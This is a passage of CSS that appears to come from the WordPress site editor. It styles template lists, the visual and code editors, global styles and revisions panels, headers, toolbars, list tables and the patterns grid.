  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-radius:100%;
  max-height:40px;
  max-width:40px;
  padding:8px;
}

.edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{
  border:1px solid #ddd;
  border-radius:2px;
  display:flex;
  flex-direction:column;
  justify-content:center;
  outline:1px solid #0000;
  padding:32px;
}
.edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{
  color:#1e1e1e;
}
.edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{
  color:#757575;
}
.edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-color:#0000;
  color:var(--wp-admin-theme-color-darker-10);
}
.edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{
  color:var(--wp-admin-theme-color);
}
.edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{
  border-color:#0000;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:3px solid #0000;
}
.edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{
  color:var(--wp-admin-theme-color);
}
.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{
  grid-column-end:4;
  grid-column-start:1;
}

.edit-site-add-new-template__template-list__contents>.components-button{
  align-items:flex-start;
  height:100%;
  text-align:start;
}

.edit-site-block-editor__editor-styles-wrapper .components-button{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  padding:6px 12px;
}
.edit-site-block-editor__editor-styles-wrapper .components-button.has-icon,.edit-site-block-editor__editor-styles-wrapper .components-button.is-tertiary{
  padding:6px;
}

.edit-site-editor-canvas__block-list.is-navigation-block{
  padding:24px;
}

.edit-site-visual-editor{
  align-items:center;
  background-color:#ddd;
  display:block;
  height:100%;
  overflow:hidden;
  position:relative;
}
.edit-site-visual-editor iframe{
  background:#fff;
  display:block;
  height:100%;
  width:100%;
}
.edit-site-visual-editor .edit-site-visual-editor__editor-canvas.is-focused{
  outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);
  outline-offset:calc(var(--wp-admin-border-width-focus)*-2);
}
.edit-site-layout.is-full-canvas .edit-site-visual-editor.is-focus-mode{
  padding:24px;
}
.edit-site-visual-editor.is-focus-mode .edit-site-visual-editor__editor-canvas{
  border-radius:2px;
  max-height:100%;
}
.edit-site-visual-editor.is-focus-mode .components-resizable-box__container{
  overflow:visible;
}
.edit-site-visual-editor .components-resizable-box__container{
  margin:0 auto;
  overflow:auto;
}
.edit-site-visual-editor.is-view-mode{
  box-shadow:0 20px 25px -5px #000c,0 8px 10px -6px #000c;
}

.resizable-editor__drag-handle{
  -webkit-appearance:none;
          appearance:none;
  background:none;
  border:0;
  border-radius:2px;
  bottom:0;
  cursor:ew-resize;
  margin:auto 0;
  outline:none;
  padding:0;
  position:absolute;
  top:0;
  width:12px;
}
.resizable-editor__drag-handle.is-variation-default{
  height:100px;
}
.resizable-editor__drag-handle.is-variation-separator{
  height:100%;
  right:0;
  width:24px;
}
.resizable-editor__drag-handle.is-variation-separator:after{
  background:#0000;
  border-radius:0;
  left:50%;
  right:0;
  transform:translateX(-1px);
  transition:all .2s ease;
  transition-delay:.1s;
  width:2px;
}
@media (prefers-reduced-motion:reduce){
  .resizable-editor__drag-handle.is-variation-separator:after{
    animation-delay:0s;
    animation-duration:1ms;
    transition-delay:0s;
    transition-duration:0s;
  }
}
.resizable-editor__drag-handle:after{
  background:#949494;
  border-radius:2px;
  bottom:24px;
  content:"";
  left:4px;
  position:absolute;
  right:0;
  top:24px;
  width:4px;
}
.resizable-editor__drag-handle.is-left{
  left:-16px;
}
.resizable-editor__drag-handle.is-right{
  right:-16px;
}
.resizable-editor__drag-handle:active,.resizable-editor__drag-handle:hover{
  opacity:1;
}
.resizable-editor__drag-handle:active.is-variation-default:after,.resizable-editor__drag-handle:hover.is-variation-default:after{
  background:#ccc;
}
.resizable-editor__drag-handle:active.is-variation-separator:after,.resizable-editor__drag-handle:hover.is-variation-separator:after{
  background:var(--wp-admin-theme-color);
}
.resizable-editor__drag-handle:focus:after{
  box-shadow:0 0 0 1px #2f2f2f, 0 0 0 calc(var(--wp-admin-border-width-focus) + 1px) var(--wp-admin-theme-color);
}
.resizable-editor__drag-handle.is-variation-separator:focus:after{
  border-radius:2px;
  box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color);
}

.edit-site-canvas-loader{
  align-items:center;
  animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s;
  animation-fill-mode:forwards;
  display:flex;
  height:100%;
  justify-content:center;
  left:0;
  opacity:0;
  position:absolute;
  top:0;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .edit-site-canvas-loader{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.edit-site-canvas-loader>div{
  width:160px;
}

@keyframes edit-site-canvas-loader__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.edit-site-code-editor{
  background-color:#fff;
  min-height:100%;
  position:relative;
  width:100%;
}
.edit-site-code-editor__body{
  margin-left:auto;
  margin-right:auto;
  max-width:1080px;
  padding:12px;
  width:100%;
}
@media (min-width:960px){
  .edit-site-code-editor__body{
    padding:24px;
  }
}
.edit-site-code-editor__toolbar{
  background:#fffc;
  display:flex;
  left:0;
  padding:4px 12px;
  position:sticky;
  right:0;
  top:0;
  z-index:1;
}
@media (min-width:600px){
  .edit-site-code-editor__toolbar{
    padding:12px;
  }
}
@media (min-width:960px){
  .edit-site-code-editor__toolbar{
    padding:12px 24px;
  }
}
.edit-site-code-editor__toolbar h2{
  color:#1e1e1e;
  font-size:13px;
  line-height:36px;
  margin:0 auto 0 0;
}

textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{
  border:1px solid #949494;
  border-radius:0;
  box-shadow:none;
  display:block;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:16px !important;
  line-height:2.4;
  margin:0;
  min-height:200px;
  overflow:hidden;
  padding:16px;
  resize:none;
  transition:border .1s ease-out,box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{
    font-size:15px !important;
    padding:24px;
  }
}
textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  position:relative;
}
textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.edit-site-global-styles-preview{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  line-height:1;
}

.edit-site-global-styles-preview__iframe{
  display:block;
  max-width:100%;
}

.edit-site-typography-preview{
  align-items:center;
  background:#f0f0f0;
  border-radius:2px;
  display:flex;
  justify-content:center;
  margin-bottom:16px;
  min-height:100px;
  overflow:hidden;
}

.edit-site-typography-panel__full-width-control{
  grid-column:1 /  -1;
  max-width:100%;
}

.edit-site-global-styles-screen-css,.edit-site-global-styles-screen-typography{
  margin:16px;
}

.edit-site-global-styles-screen-typography__indicator{
  align-items:center;
  border-radius:2px;
  display:flex !important;
  font-size:14px;
  height:24px;
  justify-content:center;
  width:24px;
}

.edit-site-global-styles-screen-typography__font-variants-count{
  color:#757575;
}

.edit-site-global-styles-font-families__add-fonts{
  justify-content:center;
}

.edit-site-global-styles-screen-colors{
  margin:16px;
}
.edit-site-global-styles-screen-colors .color-block-support-panel{
  border-top:none;
  padding-left:0;
  padding-right:0;
}

.edit-site-global-styles-header__description{
  padding:0 16px;
}

.edit-site-block-types-search{
  margin-bottom:8px;
  padding:0 16px;
}

.edit-site-global-styles-header{
  margin-bottom:0 !important;
}

.edit-site-global-styles-subtitle{
  font-size:11px !important;
  font-weight:500 !important;
  margin-bottom:0 !important;
  text-transform:uppercase;
}

.edit-site-global-styles-section-title{
  color:#2f2f2f;
  font-weight:600;
  line-height:1.2;
  margin:0;
  padding:16px 16px 0;
}

.edit-site-global-styles-variations_item{
  border-radius:2px;
  box-sizing:border-box;
}
.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{
  border-radius:2px;
  box-shadow:0 0 0 1px #e0e0e0;
  outline:1px solid #0000;
  padding:2px;
}
.edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 1px #1e1e1e;
  outline-width:3px;
}
.edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
}
.edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.edit-site-global-styles-variations_item:focus-visible{
  outline:3px solid #0000;
  outline-offset:0;
}

.edit-site-global-styles-icon-with-current-color{
  fill:currentColor;
}

.edit-site-global-styles__color-indicator-wrapper{
  flex-shrink:0;
  height:24px;
}

.edit-site-global-styles__block-preview-panel{
  border:1px solid #e0e0e0;
  border-radius:2px;
  overflow:auto;
  position:relative;
  width:100%;
}

.edit-site-global-styles-screen-css{
  display:flex;
  flex:1 1 auto;
  flex-direction:column;
}
.edit-site-global-styles-screen-css .components-v-stack{
  flex:1 1 auto;
}
.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{
  display:flex;
  flex:1 1 auto;
  flex-direction:column;
}
.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{
  direction:ltr;
  flex:1 1 auto;
}

.edit-site-global-styles-screen-css-help-link{
  display:block;
  margin-top:8px;
}

.edit-site-global-styles-screen-variations{
  border-top:1px solid #ddd;
  margin-top:16px;
}
.edit-site-global-styles-screen-variations>*{
  margin:24px 16px;
}

.edit-site-global-styles-sidebar__navigator-screen{
  display:flex;
  flex-direction:column;
}

.edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{
  background:unset;
  color:inherit;
}

.edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{
  fill:currentColor;
}

.edit-site-global-styles-screen-revisions__revisions-list{
  flex-grow:1;
  list-style:none;
  margin:0 16px 16px;
}
.edit-site-global-styles-screen-revisions__revisions-list li{
  margin-bottom:0;
}

.edit-site-global-styles-screen-revisions__revision-item{
  cursor:pointer;
  display:flex;
  flex-direction:column;
  position:relative;
}
.edit-site-global-styles-screen-revisions__revision-item:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.edit-site-global-styles-screen-revisions__revision-item:hover .edit-site-global-styles-screen-revisions__date{
  color:var(--wp-admin-theme-color);
}
.edit-site-global-styles-screen-revisions__revision-item:after,.edit-site-global-styles-screen-revisions__revision-item:before{
  content:"\a";
  display:block;
  position:absolute;
}
.edit-site-global-styles-screen-revisions__revision-item:before{
  background:#ddd;
  border:4px solid #0000;
  border-radius:50%;
  height:8px;
  left:17px;
  top:18px;
  transform:translate(-50%, -50%);
  width:8px;
  z-index:1;
}
.edit-site-global-styles-screen-revisions__revision-item.is-selected{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-radius:2px;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
  outline:3px solid #0000;
  outline-offset:-2px;
}
.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__revision-button{
  opacity:1;
}
.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__date{
  color:var(--wp-admin-theme-color);
}
.edit-site-global-styles-screen-revisions__revision-item.is-selected:before{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
}
.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__changes>li,.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__meta{
  color:#1e1e1e;
}
.edit-site-global-styles-screen-revisions__revision-item:after{
  border:.5px solid #ddd;
  height:100%;
  left:16px;
  top:0;
  width:0;
}
.edit-site-global-styles-screen-revisions__revision-item:first-child:after{
  top:18px;
}
.edit-site-global-styles-screen-revisions__revision-item:last-child:after{
  height:18px;
}
.edit-site-global-styles-screen-revisions__revision-item .edit-site-global-styles-screen-revisions__revision-button{
  display:block;
  height:auto;
  outline-offset:-2px;
  padding:12px 12px 4px 40px;
  position:relative;
  width:100%;
  z-index:1;
}

.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__apply-button.is-primary{
  align-self:flex-start;
  margin:4px 12px 12px 40px;
}

.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__changes,.edit-site-global-styles-screen-revisions__meta{
  color:#757575;
  font-size:12px;
}

.edit-site-global-styles-screen-revisions__description{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
.edit-site-global-styles-screen-revisions__description .edit-site-global-styles-screen-revisions__date{
  font-size:12px;
  font-weight:600;
  text-transform:uppercase;
}

.edit-site-global-styles-screen-revisions__meta{
  align-items:flex-start;
  display:flex;
  justify-content:start;
  margin-bottom:4px;
  text-align:left;
  width:100%;
}
.edit-site-global-styles-screen-revisions__meta img{
  border-radius:100%;
  height:16px;
  margin-right:8px;
  width:16px;
}

.edit-site-global-styles-screen-revisions__loading{
  margin:24px auto !important;
}

.edit-site-global-styles-screen-revisions__changes{
  line-height:1.4;
  list-style:disc;
  margin-left:12px;
  text-align:left;
}
.edit-site-global-styles-screen-revisions__changes li{
  margin-bottom:4px;
}

.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination{
  gap:2px;
  justify-content:space-between;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .edit-site-pagination__total{
  height:1px;
  left:-1000px;
  margin:-1px;
  overflow:hidden;
  position:absolute;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-text{
  font-size:12px;
  will-change:opacity;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary{
  color:#1e1e1e;
  font-size:28px;
  font-weight:200;
  line-height:1.2;
  margin-bottom:4px;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:disabled{
  color:#949494;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:hover{
  background:#0000;
}

.edit-site-global-styles-screen-revisions__footer{
  background:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  height:56px;
  min-width:100%;
  padding:12px;
  position:sticky;
  z-index:1;
}

.edit-site-header-edit-mode{
  align-items:center;
  background-color:#fff;
  border-bottom:1px solid #e0e0e0;
  box-sizing:border-box;
  color:#1e1e1e;
  display:flex;
  height:60px;
  justify-content:space-between;
  padding-left:60px;
  width:100%;
}
.edit-site-header-edit-mode .edit-site-header-edit-mode__start{
  align-items:center;
  border:none;
  display:flex;
  flex-shrink:2;
  height:100%;
  overflow:hidden;
}
@media (min-width:782px){
  .edit-site-header-edit-mode .edit-site-header-edit-mode__start{
    padding-right:2px;
  }
}
.edit-site-header-edit-mode .edit-site-header-edit-mode__end{
  display:flex;
  justify-content:flex-end;
}
.edit-site-header-edit-mode .edit-site-header-edit-mode__center{
  align-items:center;
  display:flex;
  flex-grow:1;
  height:100%;
  justify-content:center;
  margin:0 16px;
  min-width:0;
}

.edit-site-header-edit-mode__toolbar{
  align-items:center;
  display:flex;
  gap:8px;
  padding-left:16px;
}
@media (min-width:782px){
  .edit-site-header-edit-mode__toolbar{
    padding-left:20px;
  }
}
@media (min-width:1280px){
  .edit-site-header-edit-mode__toolbar{
    padding-right:8px;
  }
}
.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{
  transition:transform .2s cubic-bezier(.165, .84, .44, 1);
}
@media (prefers-reduced-motion:reduce){
  .edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle.is-pressed svg{
  transform:rotate(45deg);
}
.edit-site-header-edit-mode__actions{
  align-items:center;
  display:inline-flex;
  flex-wrap:nowrap;
  gap:8px;
  padding-right:4px;
}
@media (min-width:600px){
  .edit-site-header-edit-mode__actions{
    padding-right:8px;
  }
}

.edit-site-header-edit-mode__preview-options{
  opacity:1;
  transition:opacity .3s;
}
.edit-site-header-edit-mode__preview-options.is-zoomed-out{
  opacity:0;
}

.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon{
  width:auto;
}
.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon svg{
  display:none;
}
.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon:after{
  content:attr(aria-label);
}
.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon[aria-disabled=true]{
  background-color:initial;
}
.edit-site-header-edit-mode.show-icon-labels .is-tertiary:active{
  background-color:initial;
  box-shadow:0 0 0 1.5px var(--wp-admin-theme-color);
}
.edit-site-header-edit-mode.show-icon-labels .edit-site-save-button__button{
  padding-left:6px;
  padding-right:6px;
}
.edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info:after{
  content:none;
}
.edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info,.edit-site-header-edit-mode.show-icon-labels .edit-site-header-edit-mode__inserter-toggle.edit-site-header-edit-mode__inserter-toggle{
  height:36px;
  padding:0 8px;
}
.edit-site-header-edit-mode.show-icon-labels .block-editor-block-mover{
  border-left:none;
}
.edit-site-header-edit-mode.show-icon-labels .block-editor-block-mover:before{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-left:8px;
  margin-top:4px;
  width:1px;
}
.edit-site-header-edit-mode.show-icon-labels .block-editor-block-mover .block-editor-block-mover__move-button-container:before{
  background:#ddd;
  left:calc(50% + 1px);
  width:calc(100% - 24px);
}

.has-fixed-toolbar .selected-block-tools-wrapper{
  align-items:center;
  display:flex;
  height:60px;
  overflow:hidden;
}
.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{
  border-bottom:0;
  height:100%;
}
.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-toolbar{
  height:100%;
  padding-top:15px;
}
.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){
  height:32px;
}
.has-fixed-toolbar .selected-block-tools-wrapper:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-left:8px;
  width:1px;
}
.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar,.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar-group{
  border-right:none;
}
.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar-group:after,.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-left:8px;
  margin-top:4px;
  width:1px;
}
.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{
  display:none;
}
.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{
  height:32px;
  overflow:visible;
}
@media (min-width:600px){
  .has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    position:relative;
    top:-10px;
  }
}
.has-fixed-toolbar .edit-site-header-edit-mode__center.is-collapsed,.has-fixed-toolbar .selected-block-tools-wrapper.is-collapsed{
  display:none;
}

.edit-site-header-edit-mode__block-tools-toggle{
  margin-left:2px;
}

.edit-site-list-header{
  align-items:center;
  box-sizing:border-box;
  display:flex;
  height:60px;
  justify-content:flex-end;
  padding-right:16px;
  position:relative;
  width:100%;
}
body.is-fullscreen-mode .edit-site-list-header{
  padding-left:60px;
  transition:padding-left 20ms linear;
  transition-delay:80ms;
}
@media (prefers-reduced-motion:reduce){
  body.is-fullscreen-mode .edit-site-list-header{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-site-list-header .edit-site-list-header__title{
  font-size:20px;
  left:0;
  margin:0;
  padding:0;
  position:absolute;
  text-align:center;
  width:100%;
}

.edit-site-list-header__right{
  position:relative;
}

.edit-site .edit-site-list{
  background:#fff;
  border-radius:8px;
  box-shadow:0 20px 25px -5px #000c,0 8px 10px -6px #000c;
  flex-grow:1;
}
.edit-site .edit-site-list .interface-interface-skeleton__editor{
  min-width:100%;
}
@media (min-width:782px){
  .edit-site .edit-site-list .interface-interface-skeleton__editor{
    min-width:0;
  }
}
.edit-site .edit-site-list .interface-interface-skeleton__content{
  align-items:center;
  background:#fff;
  padding:16px;
}
@media (min-width:782px){
  .edit-site .edit-site-list .interface-interface-skeleton__content{
    padding:72px;
  }
}

.edit-site-list-table{
  border:1px solid #ddd;
  border-radius:2px;
  border-spacing:0;
  margin:0 auto;
  max-width:960px;
  min-width:100%;
  overflow:hidden;
}
.edit-site-list-table tr{
  align-items:center;
  border-top:1px solid #f0f0f0;
  box-sizing:border-box;
  display:flex;
  margin:0;
  padding:16px;
}
.edit-site-list-table tr:first-child{
  border-top:0;
}
@media (min-width:782px){
  .edit-site-list-table tr{
    padding:24px 32px;
  }
}
.edit-site-list-table tr .edit-site-list-table-column:first-child{
  padding-right:24px;
  width:calc(60% - 18px);
}
.edit-site-list-table tr .edit-site-list-table-column:first-child a{
  display:inline-block;
  font-weight:500;
  margin-bottom:4px;
  text-decoration:none;
}
.edit-site-list-table tr .edit-site-list-table-column:nth-child(2){
  width:calc(40% - 18px);
  word-break:break-word;
}
.edit-site-list-table tr .edit-site-list-table-column:nth-child(3){
  flex-shrink:0;
  min-width:36px;
}
.edit-site-list-table tr.edit-site-list-table-head{
  border-bottom:1px solid #ddd;
  border-top:none;
  color:#1e1e1e;
  font-size:16px;
  font-weight:600;
  text-align:left;
}
.edit-site-list-table tr.edit-site-list-table-head th{
  font-weight:inherit;
}

@media (min-width:782px){
  .edit-site-list.is-navigation-open .components-snackbar-list{
    margin-left:360px;
  }
}

.edit-site-list__rename-modal{
  z-index:1000001;
}
@media (min-width:782px){
  .edit-site-list__rename-modal .components-base-control{
    width:320px;
  }
}

.edit-site-template__actions button:not(:last-child){
  margin-right:8px;
}

.edit-site-list-added-by__icon{
  display:flex;
  flex-shrink:0;
  height:24px;
  width:24px;
}
.edit-site-list-added-by__icon svg{
  fill:currentColor;
}

.edit-site-list-added-by__avatar{
  align-items:center;
  display:flex;
  flex-shrink:0;
  height:24px;
  justify-content:center;
  overflow:hidden;
  width:24px;
}
.edit-site-list-added-by__avatar img{
  border-radius:100%;
  height:20px;
  object-fit:cover;
  opacity:0;
  transition:opacity .1s linear;
  width:20px;
}
@media (prefers-reduced-motion:reduce){
  .edit-site-list-added-by__avatar img{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-site-list-added-by__avatar.is-loaded img{
  opacity:1;
}

.edit-site-list-added-by__customized-info{
  color:#757575;
  display:block;
}

.edit-site-page{
  background:#fff;
  color:#2f2f2f;
  height:100%;
}

.edit-site-page-header{
  background:#fff;
  border-bottom:1px solid #f0f0f0;
  min-height:72px;
  padding:16px 32px;
  position:sticky;
  top:0;
  z-index:2;
}
.edit-site-page-header .components-text{
  color:#2f2f2f;
}
.edit-site-page-header .components-heading{
  color:#1e1e1e;
}
.edit-site-page-header .edit-site-page-header__sub-title{
  color:#757575;
  margin-top:8px;
}

.edit-site-page-content{
  display:flex;
  flex-flow:column;
  height:100%;
  position:relative;
  z-index:1;
}

.page-pages-preview-field__button{
  background-color:unset;
  border:none;
  border-radius:3px 3px 0 0;
  box-shadow:none;
  box-sizing:border-box;
  cursor:pointer;
  height:100%;
  overflow:hidden;
  padding:0;
  width:100%;
}
.page-pages-preview-field__button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.page-pages-preview-field__button.edit-site-page-pages__media-wrapper{
  background-color:#f0f0f0;
  border-radius:4px;
  display:block;
  flex-grow:0 !important;
  height:32px;
  overflow:hidden;
  position:relative;
  width:32px;
}
.page-pages-preview-field__button.edit-site-page-pages__media-wrapper .edit-site-page-pages__featured-image{
  height:100%;
  object-fit:cover;
  width:100%;
}
.page-pages-preview-field__button.edit-site-page-pages__media-wrapper:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}

.edit-site-patterns{
  background:#1e1e1e;
  border-left:1px solid #2f2f2f;
  border-radius:0;
  margin:60px 0 0;
  min-height:100%;
  overflow-x:auto;
  padding:0;
}
.edit-site-patterns .components-base-control{
  width:100%;
}
@media (min-width:782px){
  .edit-site-patterns .components-base-control{
    width:auto;
  }
}
.edit-site-patterns .components-text{
  color:#949494;
}
.edit-site-patterns .components-heading{
  color:#e0e0e0;
}
@media (min-width:782px){
  .edit-site-patterns{
    margin:0;
  }
}
.edit-site-patterns .edit-site-patterns__search-block{
  flex-grow:1;
  min-width:-moz-fit-content;
  min-width:fit-content;
}
.edit-site-patterns .edit-site-patterns__search{
  --wp-components-color-foreground:#e0e0e0;
}
.edit-site-patterns .edit-site-patterns__search .components-input-control__container{
  background:#2f2f2f;
}
.edit-site-patterns .edit-site-patterns__search svg{
  fill:#949494;
}
.edit-site-patterns .edit-site-patterns__sync-status-filter{
  background:#2f2f2f;
  border:none;
  height:40px;
  max-width:100%;
  min-width:max-content;
  width:100%;
}
@media (min-width:782px){
  .edit-site-patterns .edit-site-patterns__sync-status-filter{
    width:300px;
  }
}
.edit-site-patterns .edit-site-patterns__sync-status-filter-option:not([aria-checked=true]){
  color:#949494;
}
.edit-site-patterns .edit-site-patterns__sync-status-filter-option:active{
  background:#757575;
  color:#f0f0f0;
}

.edit-site-patterns__header{
  background:#1e1e1e;
  padding:32px 32px 16px;
  position:sticky;
  top:0;
  z-index:2;
}
.edit-site-patterns__header .edit-site-patterns__button{
  color:#949494;
}

.edit-site-patterns__section{
  flex:1;
  padding:24px 32px;
}

.edit-site-patterns__section-header .screen-reader-shortcut:focus{
  top:0;
}

.edit-site-patterns__grid{
  display:grid;
  gap:32px;
  grid-template-columns:1fr;
  margin-bottom:0;
  margin-top:0;
}
@media (min-width:960px){
  .edit-site-patterns__grid{
    grid-template-columns:1fr 1fr;
  }
}
@media (min-width:1440px){
  .edit-site-patterns__grid{
    grid-template-columns:1fr 1fr 1fr;
  }
}
@media (min-width:1920px){
  .edit-site-patterns__grid{
    grid-template-columns:1fr 1fr 1fr 1fr;
  }
}
.edit-site-patterns__grid .edit-site-patterns__pattern{
  break-inside:avoid-column;
  display:flex;
  flex-direction:column;
}
.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview{
  background-color:unset;
  border:none;
  border-radius:4px;
  box-shadow:none;
  box-sizing:border-box;
  cursor:pointer;
  overflow:hidden;
  padding:0;
}
.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview:focus{
  box-shadow:inset 0 0 0 0 #fff, 0 0 0 2px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive{
  cursor:default;
}
.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #2f2f2f;
  opacity:.8;
}
.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__button,.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__footer{
  color:#949494;
}
.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__dropdown{
  flex-shrink:0;
}
.edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview{
  align-items:center;
  border:1px dashed #2f2f2f;
  color:#949494;
  display:flex;
  justify-content:center;
  min-height:64px;
}
.edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview:focus{
